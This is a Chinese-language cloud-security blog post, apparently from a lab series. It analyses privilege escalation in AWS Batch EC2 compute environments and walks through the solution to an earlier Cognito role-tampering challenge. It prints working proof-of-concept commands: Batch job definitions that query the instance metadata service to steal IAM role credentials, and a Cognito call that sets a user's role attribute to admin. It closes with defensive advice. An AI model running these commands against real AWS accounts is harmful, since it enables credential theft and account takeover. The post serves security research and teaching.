探索AWS Batch权限提升漏洞的技术分析

本文详细分析了AWS Batch服务中由于EC2计算环境配置不当导致的权限提升漏洞,探讨了攻击者如何利用容器元数据服务和实例元数据服务获取高权限凭证的技术细节,并提供了防御建议。

从上一期说起…您解决CloudSecTidbit第2期的IaC实验了吗?

[解决方案] AWS Cognito挑战的核心是通过权限提升获取管理员权限并读取内部用户列表。应用程序使用AWS Cognito颁发的会话令牌(保存为名为aws-cognito-app-access-token的cookie),攻击者可以通过以下步骤实现提权:

1
2
aws cognito-idp get-user --region us-east-1 --access-token <USER_ACCESS_TOKEN>
aws --region us-east-1 cognito-idp update-user-attributes --user-attributes "Name=custom:Role,Value=admin" --access-token <USER_ACCESS_TOKEN>

漏洞根源在于平台过度信任custom:Role属性进行授权判断。

技术聚焦:AWS Batch权限提升研究

AWS Batch基础架构

AWS Batch是AWS提供的批处理计算服务,主要组件包括:

  • Jobs:工作单元(脚本/可执行文件/容器镜像)
  • Job definitions:任务蓝图(含IAM角色、资源需求等配置)
  • Job Queues:任务调度队列
  • Compute environments:计算资源环境(支持Fargate/EC2/EKS三种编排类型)

漏洞场景分析

在多租户平台中发现高危配置:

  1. 所有租户任务均使用EC2编排类型运行
  2. 计算环境EC2实例需要高权限角色管理EFS等资源
  3. 任务容器具有batch:RegisterJobDefinitionbatch:SubmitJob权限

攻击链分解

  1. 初始访问:通过容器元数据服务(CMDS@169.254.170.2)获取任务执行角色凭证
  2. 权限滥用:利用获得的凭证创建恶意任务定义
  3. 网络配置突破:由于EC2环境默认使用主机网络模式,容器可访问实例元数据服务(IMDSv2)
  4. 凭证窃取:通过IMDS获取EC2实例的高权限角色凭证

技术验证过程

步骤1 - 获取实例角色名

1
2
3
4
5
6
7
aws batch register-job-definition \
  --job-definition-name poc-get-rolename \
  --type container \
  --container-properties '{
    "image": "curlimages/curl",
    "command": ["sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-data/iam/security-credentials/"]
  }'

步骤2 - 获取角色凭证

1
2
3
4
5
6
7
aws batch register-job-definition \
  --job-definition-name poc-get-aimcreds \
  --type container \
  --container-properties '{
    "image": "curlimages/curl",
    "command": ["sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"]
  }'

安全建议

审计人员检查清单

  • 确认任务执行上下文是否限制IMDS访问
  • 审查EC2编排环境中的实例角色权限
  • 检查是否过度分配RegisterJobDefinition/SubmitJob权限

开发者防护措施

  1. 网络层限制IMDS访问(通过aws ec2 modify-instance-metadata-options
  2. 遵循最小权限原则配置任务角色
  3. 考虑使用Fargate替代EC2编排类型

实践资源

漏洞复现环境已开源:CloudSecTidbits实验室

延伸阅读

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计